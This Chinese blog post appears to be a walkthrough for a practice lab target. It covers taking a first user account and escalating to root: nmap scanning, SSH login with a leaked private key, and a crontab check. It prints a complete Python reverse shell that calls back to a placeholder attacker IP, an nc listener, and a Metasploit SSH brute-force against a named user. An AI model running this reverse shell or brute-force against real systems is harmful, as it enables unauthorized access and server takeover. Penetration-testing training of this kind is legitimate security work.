拿到第一个用户并提权

2023-09-18 11:28:46

搭建环境

真机安装

python环境(python-IDE)

java环境(java-IDE)

PHP环境(phpstudy)

火狐浏览器延长支持板(需要安装HackBar扩展插件)

notepad++

虚拟机安装

kali linux

Win10(CFT工具包,为防止有后门不安装在真机)

拿到第一个用户权限并获取root权限

1.信息探测

探测靶场开放的服务与服务的版本

nmap -sV ip

探测靶场全部信息

nmap -A -v ip

探测靶场的操作系统与版本

nmap -O ip

同样也可以用nikto来挖掘信息
nikto -host ip

2.分析探测结果
首先考虑暴力破解和私钥泄露
对于开放http服务的80端口或者其他端口的靶场首先考虑通过浏览器访问对应靶场的http服务(http://ip:port),然后再使用探测工具对http的目录进行探测(dirb http://ip:port)

3.利用挖掘到的ssh私钥
修改id_rsa的权限
chmod 600 id_rsa

利用私钥登录服务器
ssh -i id_rsa 用户名@ip

登录服务器后需要做一下三点操作

1.查看当前用户

2.id查看当前用户的权限

3.查看根目录寻找flag文件

注:flag文件只属于root用户和对应的组

cat /etc/passwd		##查看所有用户的列表

cat /etc/group			##查看用户组

find / -user 用户名		##查看属于某些用户的文件

/tmp					##查看缓冲文件目录

ls -al			##查看隐藏文件

4.查看/etc/crontab 这个文件,看是否有定时任务存在
cat /etc/crontab

5.编写反弹攻击的shell代码
#!/usr/bin/python
导入os,subprocess,socket这三个模块
import os,subprocess,socket

创建一个套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
套接字反弹到攻击机的ip和端口号
s.connect(("攻击机IP地址","攻击机监听端口"))
标准输入赋值给套接字的标识符
os.dup2(s.fileno(),0)
标准输出赋值给套接字的标识符
os.dup2(s.fileno(),1)
错误输出赋值给套接字的标识符
os.dup2(s.fileno(),2)
子进程调用shell交互
p=subprocess.call(["/bin/sh","-i"])

6.查看端口是否被占用
查看在用端口
sudo netstat -pantu
监听端口
nc -lvp 4445

7.将编写的反弹攻击的shell代码上传到靶机中,然后更名为与靶机中py文件一样的名字

8.将上传的文件提升权限

9.查看/home文件是否具有root权限

10.利用cupp创建字典
注:kali中并没有这样的集成字典,需要自己git
git clone https://github.com/jeanphorn/common-password.git

chmod +x cupp.py

./cupp.py -i

11.使用metasploit破解ssh
msfconsole

msf > use auxiliary /scanner /ssh//ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.101.47
msf auxiliary(ssh_login) > set username simon
msf auxiliary(ssh_login) > set pass_file simon.txt
msf auxiliary(ssh_login) > set threads 5
msf auxiliary(ssh_login) > show options
msf auxiliary(ssh_login) > set verbose true
msf auxiliary(ssh_login) > run

12.进行会话优化
python -c "import pty;pty.spawn('/bin/bash')"
su -root

13.获取flag文件
一般在root目录下
更多推荐

人机合作的有效性、安全性和可信度

确定人机协同中权力归属的原则和方法可以根据具体情境和任务的要求进行灵活选择。以下是一些常见的方法:专业领域授权:在专业领域中,权力可能更多地授予具有相关知识和经验的人类专家。他们能够理解和分析复杂的情况,并基于其专业判断做出决策。机器可以作为工具或辅助手段,提供数据分析、模型预测等支持。分工合作:根据任务的不同阶段或特

java版Spring Cloud+Mybatis+Oauth2+分布式+微服务+实现工程管理系统

鸿鹄工程项目管理系统SpringCloud+SpringBoot+Mybatis+Vue+ElementUI+前后端分离构建工程项目管理系统1.项目背景一、随着公司的快速发展,企业人员和经营规模不断壮大。为了提高工程管理效率、减轻劳动强度、提高信息处理速度和准确性,公司对内部工程管理的提升提出了更高的要求。二、企业通过

【JavaScript】video标签配置及相关事件:

文章目录一、标签配置:二、事件:三、案例:一、标签配置:标签名描述src要播放的路径地址autoplay是否自动播放,默认值是false,(Boolean)loop是否循环播放,默认值是false,(Boolean)muted是否静音播放,默认值是false,(Boolean)initial-time制定和视频初始播放

线性代数的本质(八)——内积空间

文章目录内积空间内积空间正交矩阵与正交变换正交投影施密特正交化实对称矩阵的对角化内积空间内积空间三维几何空间是线性空间的一个重要例子,如果分析一下三维几何空间,我们就会发现它还具有一般线性空间不具备的重要性质:三维几何空间中向量有长度和夹角,这称为三维几何空间的度量性质。现在,我们在一般线性空间中引入度量有关的概念。我

【面试刷题】——Qt使用的编译器

Qt可以使用多种不同的编译器,具体取决于你的开发环境和目标平台。以下是一些常见的Qt支持的编译器:MinGW:MinGW(MinimalistGNUforWindows)是Windows下的一个轻量级开发工具集,通常与Qt一起使用来开发Windows应用程序。Qt的官方发行版通常包括了MinGW编译器,以便在Windo

关于Qt适配不同分辨率和缩放率时可能遇到的问题和解决方案

如果没有特殊的处理,Qt的UI窗口在不同的分辨率和缩放率下,其显示效果可能会出现问题,常见的有:子控件堆叠,无法显示完整窗口尺寸变大,超出屏幕的显示范围控件变形,长宽比不合理界面模糊字体变大,控件尺寸却没有变化有两种方式可以对UI界面进行良好的缩放:Qt不做任何事情,由windows系统负责缩放windows系统不做任

Qt5开发及实例V2.0-第一章Qt概述及Qt5的安装

Qt5开发及实例V2.0-第一章-Qt概述及Qt5的安装第一章-Qt概述1.1什么是Qt1.2Qt5的安装1.2.1下载安装Qt51.2.2运行Qt5Creator1.2.3Qt5开发环境1.3Qt5开发步骤及实例1.3.1设计器Qt5Designer实现1.3.2代码实现简单实例L1.2Qt5安装:概念解析L1.3Q

kafka 3.5 生产者请求中的acks,在服务端如何处理源码

一、生产者客户端配置参数acks说明1、acks=12、acks=03、acks=-1二、请求在写入Leader的数据管道之前,则会验证Leader的ISR副本数量和配置中的最小ISR数量1、Leader的ISR小于配置文件中minInSyncReplicas,并且acks=-1,则抛异常2、如果acks不等于-1,则

排序算法-----计数排序

目录前言:计数排序1.算法描述2.基本思想3.实现逻辑4.示例剖析5.动图演示代码实现1.C/C++代码2.Python代码算法分析时间复杂度空间复杂度稳定性局限性前言:有没有一种排序时间复杂度为直线正比的排序算法呢?有当然有,那就是计数排序,那为什么时间复杂度如此小的排序算法,然而其排序速度却不如快速排序(nlogn

笔记1.4 计算机网络性能

1.速率速率即数据率(datarate)或称数据传输速率或比特率单位时间(秒)传输信息(比特)量计算机网络中最重要的一个性能指标单位:bps、kbps、Mbpsk=10^3、M=10^6、G=10^9速率往往是指额定速率或标称速率,理想数据传输速率2.带宽“带宽”(bandwidth)原本指信号具有的频带宽度,即最高频

构建自动化测试环境:使用Docker和Selenium!

随着软件开发的日益复杂和迭代速度的加快,自动化测试被越来越广泛地应用于软件开发流程中。它能够提高测试效率、减少测试成本,并保证软件质量的稳定性。在构建自动化测试环境方面,Docker和Selenium是两个非常有用的工具。下面将介绍如何使用Docker和Selenium构建自动化测试环境。一、Docker简介Docke

热文推荐